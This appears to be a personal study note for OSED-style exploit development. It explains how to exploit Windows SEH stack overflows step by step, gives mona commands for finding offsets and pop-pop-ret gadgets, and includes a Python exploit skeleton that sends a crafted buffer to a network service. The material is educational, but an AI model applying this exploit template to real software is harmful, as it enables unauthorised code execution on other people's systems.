SEH Overflow

What this is and why future-me would open it

Stack-based overflow on a Windows x86 target where the saved return address is too far from the buffer start to use directly, but the Structured Exception Handler (SEH) record sits comfortably within reach. You overflow into the SEH record, force an exception, and execution transfers through the corrupted handler chain into your shellcode. Standard OSED material; expect at least one assignment to be solvable this way.

When you’d reach for it

Recognition signs

The recipe

  1. Confirm SEH reach. Send cyclic(5000) or similar, trigger crash, run !exchain. If the SEH record contains your pattern, you’re in.

  2. Find offsets. Use mona or pattern_offset against both the nSEH (next-SEH) and SEH (handler) values:

    !mona pattern_offset 0x37624136

    You’ll get two offsets, 4 bytes apart. nSEH lives at the lower one.

  3. Find a pop pop ret gadget in a non-SafeSEH module.

    !mona seh -cm safeseh=off

    Pick a gadget address that contains no bad chars.

  4. Build the SEH record.

    • nSEH (4 bytes): a short jump over the next 4 bytes, e.g. \xeb\x06\x90\x90
    • SEH (4 bytes): the address of your pop pop ret gadget
  5. Place shellcode after nSEH+SEH. When the exception fires, the gadget pops twice and returns into nSEH’s short jump, which lands in your shellcode area.

  6. Trigger the exception. Usually the overflow itself does this — the corrupted return walked into unmapped memory. If not, force one (oversized read, write past page boundary, etc.).

Gotchas

Reference exploit skeleton

import struct, socket

OFFSET_NSEH = 4096            # offset to nSEH from buffer start
PPR         = 0x10047b6d      # pop pop ret in examplelib.dll (non-SafeSEH, non-ASLR)

# Short-jump nSEH: jmp +6 (over the 4-byte SEH field)
nseh = b'\xeb\x06\x90\x90'
seh  = struct.pack('<L', PPR)

# Generic placeholder shellcode — replace with msfvenom output once bad chars known
shellcode = b'\xcc' * 400     # int3 sled for first verification

buf  = b'A' * OFFSET_NSEH
buf += nseh
buf += seh
buf += b'\x90' * 16           # NOP cushion
buf += shellcode
buf += b'B' * (8000 - len(buf))   # padding to keep buffer size constant

s = socket.socket()
s.connect(('target', 9999))
s.send(buf)

Debugger session

The screenshot shows !exchain after the overflow: the first SEH record points to our pop pop ret gadget, nSEH contains the short jump, and stepping through the dispatcher we land in the NOP sled.

Cross-references